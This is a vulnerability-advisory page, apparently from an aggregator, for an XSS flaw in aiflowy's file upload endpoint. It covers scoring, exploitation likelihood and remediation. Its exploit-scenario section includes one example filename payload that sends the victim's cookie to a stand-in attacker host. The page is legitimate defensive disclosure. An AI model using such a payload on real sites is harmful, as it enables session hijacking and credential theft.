Skip to main content

aiflowy CVE-2026-52475

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-21 mitre
6.1
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify unauthenticated upload endpoint
  2. Delivery
    Upload file with XSS payload in filename or content
  3. Exploit
    Server stores and reflects unsanitized input
  4. Execution
    Lure victim user to affected page
  5. Persist
    JavaScript executes in victim browser
  6. Impact
    Exfiltrate session token or credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability is exploitable via the file upload functionality exposed by UploadController.java; exploitation requires that this upload endpoint be reachable over the network and that it renders unsanitized user-supplied input (such as filename or content) back to other users' browsers. User interaction is required: a victim user must navigate to or load a page that displays the attacker-controlled content. Exploitation is limited by: (1) user interaction requirement - a victim must be socially engineered or otherwise directed to view the malicious output; (2) scope of impact is partial confidentiality and integrity only (C:L/I:L), capping damage at session token theft or minor content manipulation rather than full system compromise; (3) if the upload endpoint requires authentication in practice (not confirmed from available data), the attack surface is further restricted to authenticated users.

Impact

Real-world risk is moderate-to-low despite a CVSS base score of 6.1. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates a network-accessible, low-complexity attack requiring no privileges but requiring a victim user to interact with the malicious content - a meaningful friction point. EPSS at 0.19% (9th percentile) strongly suggests this vulnerability is not being exploited at scale in the wild; this is consistent with aiflowy's apparent niche footprint. No CISA KEV listing confirms no confirmed widespread active exploitation. A GitHub writeup by Y4y17 exists referencing a file upload issue, but this constitutes a public disclosure/research reference rather than confirmed weaponized exploit code. The primary limiting factor is UI:R - an attacker must trick an authenticated user into viewing or interacting with attacker-supplied content, which reduces automatable mass exploitation. The low C:L/I:L impact caps per-incident damage to partial information disclosure and limited content manipulation.

Exploit ScenarioDerived

An attacker crafts a file with a malicious filename or content embedding a JavaScript payload (e.g., a filename like <script>document.location='https://attacker.com/?c='+document.cookie</script>.jpg) and uploads it to the aiflowy instance via the unauthenticated upload endpoint. When a legitimate authenticated user browses a page that renders the uploaded filename or file metadata without encoding, the injected script executes in their browser, exfiltrating their session cookie to the attacker. A researcher writeup exists at the referenced GitHub URL, providing technical context, though it is described as a file upload vulnerability rather than explicitly a weaponized XSS payload.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Cross-site scripting (XSS) in aiflowy 2.1.2 and earlier allows unauthenticated remote attackers to inject malicious scripts via the UploadController.java file upload endpoint, which are then executed in victim users' browsers. The scope change in the CVSS vector (S:C) confirms the attack crosses the application's security boundary into the browser context, enabling session hijacking or credential theft. No active exploitation is confirmed in CISA KEV, and EPSS sits at 0.19% (9th percentile), indicating low current exploitation probability despite a publicly referenced writeup on GitHub.

RemediationAI

Upgrade aiflowy to a version above 2.1.2 if a patched release has been issued by the vendor - no confirmed fix version is available from the provided data, so operators should consult the aiflowy project repository directly for patch status. As a compensating control, restrict access to the file upload endpoint (UploadController.java) to authenticated and authorized users only, which converts this from a PR:N to a PR:L/PR:H attack, significantly raising the attacker's required foothold. Additionally, implement server-side output encoding for any filename, file metadata, or upload response content rendered in HTML responses, and configure a strict Content Security Policy (CSP) header to limit the impact of any injected scripts. If the upload feature is not required, disabling it eliminates the attack surface entirely. No side effects are anticipated from output encoding; CSP deployment may break legacy inline scripts if any are present in the application.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

aiflowy is a Java-based web application (tagged Java/XSS) with a file upload handler implemented in UploadController.java. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), meaning user-supplied input - likely a filename, file metadata, or file content rendered back to the browser - is not properly encoded before being inserted into the HTML response. The CVSS scope change (S:C) is consistent with stored or reflected XSS where script executes in the victim's browser security origin rather than the server's. The CPE string is listed as cpe:2.3:a:n/a:n/a:* indicating this product is not formally catalogued in the NVD CPE dictionary, suggesting it is a niche or emerging tool with limited vendor tracking.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-reachable upload endpoint with no auth required; victim interaction needed to trigger reflected/stored XSS; scope changes to browser context; no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Jul 22, 2026 - 18:22 NVD
6.1 (MEDIUM)
CVE Published
Jul 21, 2026 - 00:00 cve.org
UNKNOWN (no severity yet)

DescriptionCVE.org

Cross Site Scripting vulnerability in aiflowy <= 2.1.2 allows a remote attacker to obtain sensitive information via the UploadController.java file

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Rare
niche Java app, no formal CPE, minimal enterprise footprint
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:n/a:n/a:*:*:*:*:*:*:*:*

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy